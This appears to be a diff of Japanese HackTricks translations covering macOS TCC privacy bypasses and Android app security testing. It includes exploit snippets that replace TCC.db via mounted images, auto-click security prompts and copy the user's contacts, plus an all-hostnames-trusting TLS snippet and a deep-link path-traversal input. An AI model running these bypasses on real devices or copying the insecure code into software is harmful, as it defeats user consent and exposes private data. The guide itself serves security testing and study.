**`.terminal`**スクリプトは、**`CommandString`**キーに実行するコマンドを含むplistファイルです。 **`.terminal`**スクリプトは、**`CommandString`**キーに実行するコマンドを含むplistファイルです。
```xml ```xml
@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC バイパスと特権昇格 ### CVE-2020-9771 - mount_apfs TCC バイパスと特権昇格
**任意のユーザー**(特権のないユーザーも含む)は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\ **任意のユーザー**(特権のないユーザーも含む)は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
必要な**唯一の特権**は、使用するアプリケーション(例えば `Terminal`)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。 必要な**特権**は、使用するアプリケーション(`Terminal`など)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。
```bash ```bash
# Create snapshot # Create snapshot
tmutil localsnapshot tmutil localsnapshot
@ -463,13 +463,13 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null") os.system("hdiutil detach /tmp/mnt 1>/dev/null")
``` ```
チェックしてください **完全なエクスプロイト** は [**元の解説**](https://theevilbit.github.io/posts/cve-2021-30808/) にあります。 チェックしてください **フルエクスプロイト** は [**オリジナルの解説**](https://theevilbit.github.io/posts/cve-2021-30808/) にあります。
### CVE-2024-40855 ### CVE-2024-40855
[の解説](https://www.kandji.io/blog/macos-audit-story-part2) で説明されているように、このCVEは `diskarbitrationd` を悪用しました。 [オリジナルの解説](https://www.kandji.io/blog/macos-audit-story-part2) で説明されているように、このCVEは `diskarbitrationd` を悪用しました。
公開された `DiskArbitration` フレームワークの関数 `DADiskMountWithArgumentsCommon` がセキュリティチェックを実行しました。しかし、`diskarbitrationd` を直接呼び出すことでバイパスすることが可能であり、そのためにパス内で `../` 要素やシンボリックリンクを使用できます。 公開された `DiskArbitration` フレームワークの関数 `DADiskMountWithArgumentsCommon` がセキュリティチェックを実行しました。しかし、`diskarbitrationd` を直接呼び出すことでバイパスすることが可能であり、そのためにパス内で `../` 要素やシンボリックリンクを使用することができます。
これにより、攻撃者は `diskarbitrationd` の権限 `com.apple.private.security.storage-exempt.heritable` により、任意の場所にマウントを行うことができました。 これにより、攻撃者は `diskarbitrationd` の権限 `com.apple.private.security.storage-exempt.heritable` により、任意の場所にマウントを行うことができました。
@ -477,24 +477,24 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
ツール **`/usr/sbin/asr`** は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることを可能にしました。 ツール **`/usr/sbin/asr`** は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることを可能にしました。
### Location Services ### 位置情報サービス
**`/var/db/locationd/clients.plist`** に第三のTCCデータベースがあり、**位置情報サービスにアクセスすることを許可されたクライアント** を示します。\ **`/var/db/locationd/clients.plist`** に第三のTCCデータベースがあり、**位置情報サービスにアクセスすることを許可されたクライアント** を示します。\
フォルダー **`/var/db/locationd/` はDMGマウントから保護されていなかった** ため、自分のplistをマウントすることが可能でした。 フォルダー **`/var/db/locationd/` はDMGマウントから保護されていなかった** ため、自分のplistをマウントすることが可能でした。
## By startup apps ## スタートアップアプリによる
{{#ref}} {{#ref}}
../../../../macos-auto-start-locations.md ../../../../macos-auto-start-locations.md
{{#endref}} {{#endref}}
## By grep ## grepによる
いくつかの場面で、ファイルはメール、電話番号、メッセージなどの機密情報を保護されていない場所に保存しますこれはApple脆弱性と見なされます)。 いくつかの場面で、ファイルはメール、電話番号、メッセージなどの機密情報を保護されていない場所に保存しますこれはAppleにとって脆弱性と見なされます)。
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
## Synthetic Clicks ## 合成クリック
これはもう機能しませんが、[**過去には機能していました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** これはもう機能しませんが、[**過去には機能していました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
@ -504,7 +504,7 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>
## Reference ## 参考
- [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) - [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
- [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) - [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)

View File

@ -4,7 +4,7 @@
## Apple Scripts ## Apple Scripts
これは、**リモートプロセスと対話する**ためのタスク自動化に使用されるスクリプト言語です。他のプロセスに**アクションを実行するように依頼する**のが非常に簡単です。**マルウェア**は、他のプロセスによってエクスポートされた機能を悪用するためにこれらの機能を悪用する可能性があります。\ これは、**リモートプロセスと対話する**ためのタスク自動化に使用されるスクリプト言語です。他のプロセスに**いくつかのアクションを実行するように依頼する**のが非常に簡単です。**マルウェア**は、他のプロセスによってエクスポートされた機能を悪用するためにこれらの機能を悪用する可能性があります。\
例えば、マルウェアは**ブラウザで開かれたページに任意のJSコードを注入**することができます。また、ユーザーに要求された許可を**自動的にクリック**することもできます; 例えば、マルウェアは**ブラウザで開かれたページに任意のJSコードを注入**することができます。また、ユーザーに要求された許可を**自動的にクリック**することもできます;
```applescript ```applescript
tell window 1 of process "SecurityAgent" tell window 1 of process "SecurityAgent"
@ -14,7 +14,7 @@ end tell
ここにいくつかの例があります: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ ここにいくつかの例があります: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
マルウェアに関する詳細情報は[**こちら**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)で見つけることができます。 マルウェアに関する詳細情報は[**こちら**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)で見つけることができます。
Appleスクリプトは簡単に「**コンパイル**」できます。これらのバージョンは簡単に「**デコンパイル**」できます `osadecompile` Appleスクリプトは簡単に「**コンパイル**」できます。これらのバージョンは簡単に「**デコンパイル**」できます `osadecompile`を使用して。
しかし、これらのスクリプトは「読み取り専用」としても**エクスポート**できます(「エクスポート...」オプションを介して): しかし、これらのスクリプトは「読み取り専用」としても**エクスポート**できます(「エクスポート...」オプションを介して):

View File

@ -240,7 +240,7 @@ fclose(stderr); // Close the file stream
{{#endtab}} {{#endtab}}
{{#tab name="Shell"}} {{#tab name="Shell"}}
`$HOME/Library/Application Support/AddressBook``/tmp/contacts`にコピーします。 `$HOME/Library/Application Support/AddressBook` `/tmp/contacts` にコピーします。
```bash ```bash
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
``` ```
@ -713,7 +713,7 @@ screencapture -V 5 /tmp/screen.mov
- **権限**: なし - **権限**: なし
- **TCC**: `kTCCServiceAccessibility` - **TCC**: `kTCCServiceAccessibility`
TCCの特権を使用して、Finderの制御を受け入れ、Enterを押してその方法でTCCをバイパスします TCCの特権を使用して、Finderの制御を受け入れ、Enterを押してその方法でTCCをバイパスします
{{#tabs}} {{#tabs}}
{{#tab name="TCCを受け入れる"}} {{#tab name="TCCを受け入れる"}}
@ -877,6 +877,6 @@ return 0;
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
> [!CAUTION] > **アクセシビリティは非常に強力な権限です**他の方法で悪用することができ、例えば、**キーストローク攻撃**を行うことができます。System Eventsを呼び出す必要はありません。 > [!CAUTION] > **アクセシビリティは非常に強力な権限です**これを他の方法で悪用することができます。例えば、**キーストローク攻撃**を行うことができ、System Eventsを呼び出す必要はありません。
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Android Applications Basics ## Android Applications Basics
このページを読むことを強くお勧めします。**Androidセキュリティに関連する最も重要な部分と、Androidアプリケーションの最も危険なコンポーネント**について知るためです: このページを読むことを強くお勧めします。**Androidセキュリティに関連する最も重要な部分と、Androidアプリケーションの最も危険なコンポーネント**について知るためです:
{{#ref}} {{#ref}}
android-applications-basics.md android-applications-basics.md
@ -15,7 +15,7 @@ android-applications-basics.md
これは、Androidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主なツールです。\ これは、Androidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主なツールです。\
**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。 **ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。
adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを確認してください。 以下の[**ADB Commands**](adb-commands.md)のリストを見て、adbの使い方を学んでください。
## Smali ## Smali
@ -26,7 +26,7 @@ adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)
- [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md) - [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md)
- **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- デバイスからAPKを抽出する: - デバイスからAPKを抽出:
```bash ```bash
adb shell pm list packages adb shell pm list packages
com.android.insecurebankv2 com.android.insecurebankv2
@ -52,7 +52,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### 興味深い情報を探す ### 興味深い情報を探す
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**、および興味深いものを検索できます... コード実行の**バックドア**や認証バックドア(アプリへのハードコーディングされた管理者資格情報)も探してください。 APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**、および興味深いものを探すことができます... コード実行の**バックドア**や認証バックドア(アプリへのハードコーディングされた管理者資格情報)も探してください。
**Firebase** **Firebase**
@ -68,7 +68,7 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。 - **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定して、特にUSBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐ必要があります。
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。例として、特定のドメインに対してHTTPトラフィックを許可することがあります。 - **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。例として、特定のドメインに対してHTTPトラフィックを許可することがあります。
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。 - **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。 - **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの構成も注意深く確認する必要があります。
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。 - **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
- **SDKバージョン**: `minSdkVersion``targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。 - **SDKバージョン**: `minSdkVersion``targetSDKVersion`、および`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
@ -76,8 +76,8 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht
### タップジャッキング ### タップジャッキング
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、実際には被害者アプリに対する対話を渡しています。\ **タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、同時にその対話を被害者アプリに渡します。\
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。 実際には、**ユーザーが実際に被害者アプリでアクションを実行していることを知らないようにしています**。
詳細情報は以下を参照してください: 詳細情報は以下を参照してください:
@ -99,19 +99,19 @@ android-task-hijacking.md
**内部ストレージ** **内部ストレージ**
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に適切です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。 Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
1. **静的分析:** 1. **静的分析:**
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。 - `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
2. **動的分析:** 2. **動的分析:**
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。 - アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に読み取りまたは書き込み可能に設定されているかどうかを確認**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
**外部ストレージ** **外部ストレージ**
**外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です: **外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です:
1. **アクセス可能性**: 1. **アクセス可能性**:
- 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。 - 外部ストレージ上のファイルは**全世界に読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
2. **セキュリティの懸念**: 2. **セキュリティの懸念**:
- アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。 - アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。
- 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。 - 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
@ -123,7 +123,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
外部ストレージは`/storage/emulated/0``/sdcard``/mnt/sdcard`で**アクセス可能**です。 外部ストレージは`/storage/emulated/0``/sdcard``/mnt/sdcard`で**アクセス可能**です。
> [!NOTE] > [!NOTE]
> Android 4.4**API 17**以降、SDカードにはディレクトリ構造があり、**アプリが特定のアプリ用のディレクトリにのみアクセスできるように制限されています**。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。 > Android 4.4**API 17**以降、SDカードには、**アプリ専用のディレクトリへのアクセスを制限する**ディレクトリ構造があります。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
**平文で保存された機密データ** **平文で保存された機密データ**
@ -134,7 +134,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
**すべての証明書を受け入れる** **すべての証明書を受け入れる**
何らかの理由で、開発者は時々、ホスト名が以下のようなコード行と一致しない場合でも、すべての証明書を受け入れます: 何らかの理由で、開発者がホスト名がコードの行と一致しない場合でも、すべての証明書を受け入れることがあります。
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -266,7 +266,7 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging** **Logging**
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。 開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`が推奨されます。**Pidcat**は、その使いやすさと可読性から好まれます。
> [!WARNING] > [!WARNING]
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\ > **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
@ -278,17 +278,17 @@ Androidの**クリップボードベース**のフレームワークは、アプ
**Crash Logs** **Crash Logs**
アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信ることを確認してください。 アプリケーションが**クラッシュ**し、**ログを保存**する場合、これらのログは攻撃者に役立つ可能性があります。特にアプリケーションがリバースエンジニアリングできない場合はそうです。このリスクを軽減するために、クラッシュ時にログを記録しないようにし、ログをネットワーク経由で送信する必要がある場合は、SSLチャネルを介して送信されることを確認してください。
ペンテスターとして、**これらのログを確認することを試みてください**。 ペンテスターとして、**これらのログを確認することをお勧めします**。
**Analytics Data Sent To 3rd Parties** **Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないか確認することをお勧めします。 アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受し**、第三者サービスに送信される機密情報がないか確認することをお勧めします。
### SQLite DBs ### SQLite DBs
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\ ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、および保存されたすべての**データ**を確認してください。機密情報(脆弱性となる可能性があります)を見つけることができるかもしれません。\
データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。 データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。 データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
@ -307,7 +307,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass** **Authorisation bypass**
Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスできる可能性があります。 Activityがエクスポートされると、外部アプリからその画面を呼び出すことができます。したがって、**機密情報**を含むActivityが**エクスポート**されている場合、**認証**メカニズムを**バイパス**してアクセスすることができます。
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities) [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
@ -333,25 +333,25 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作** ### **コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作**
[**コンテンツプロバイダーとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\ [**コンテンツプロバイダーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。 コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。
[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/#content-providers) [**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/#content-providers)
### **サービスの悪用** ### **サービスの悪用**
[**サービスとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#services)\ [**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。 サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すことができるものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\ サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services) [**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services)
### **ブロードキャストレシーバーの悪用** ### **ブロードキャストレシーバーの悪用**
[**ブロードキャストレシーバーとは何かをリフレッシュしたい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\ [**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。 ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
ブロードキャストレシーバーは、特定のメッセージを待機します。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\ ブロードキャストレシーバーは、特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](./#exploiting-broadcast-receivers) [**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](./#exploiting-broadcast-receivers)
### **スキーム/ディープリンクの悪用** ### **スキーム/ディープリンクの悪用**
@ -380,8 +380,8 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**パス内のパラメータ** **パス内のパラメータ**
**ディープリンクがURLのパス内にパラメータを使用しているかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パスをトラバースして、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようなものにアクセスできます。\ **URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば: `https://api.example.com/v1/users/{username}` の場合、パスをトラバースして、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようなものにアクセスできます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。 アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合その他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**さらなる例** **さらなる例**
@ -389,7 +389,7 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
### トランスポート層の検査と検証の失敗 ### トランスポート層の検査と検証の失敗
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーション警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすること一般的です。 - **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーション警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすること一般的です。
- **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃MITMに対して脆弱になり、攻撃者がデータを復号化できるようになります。 - **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃MITMに対して脆弱になり、攻撃者がデータを復号化できるようになります。
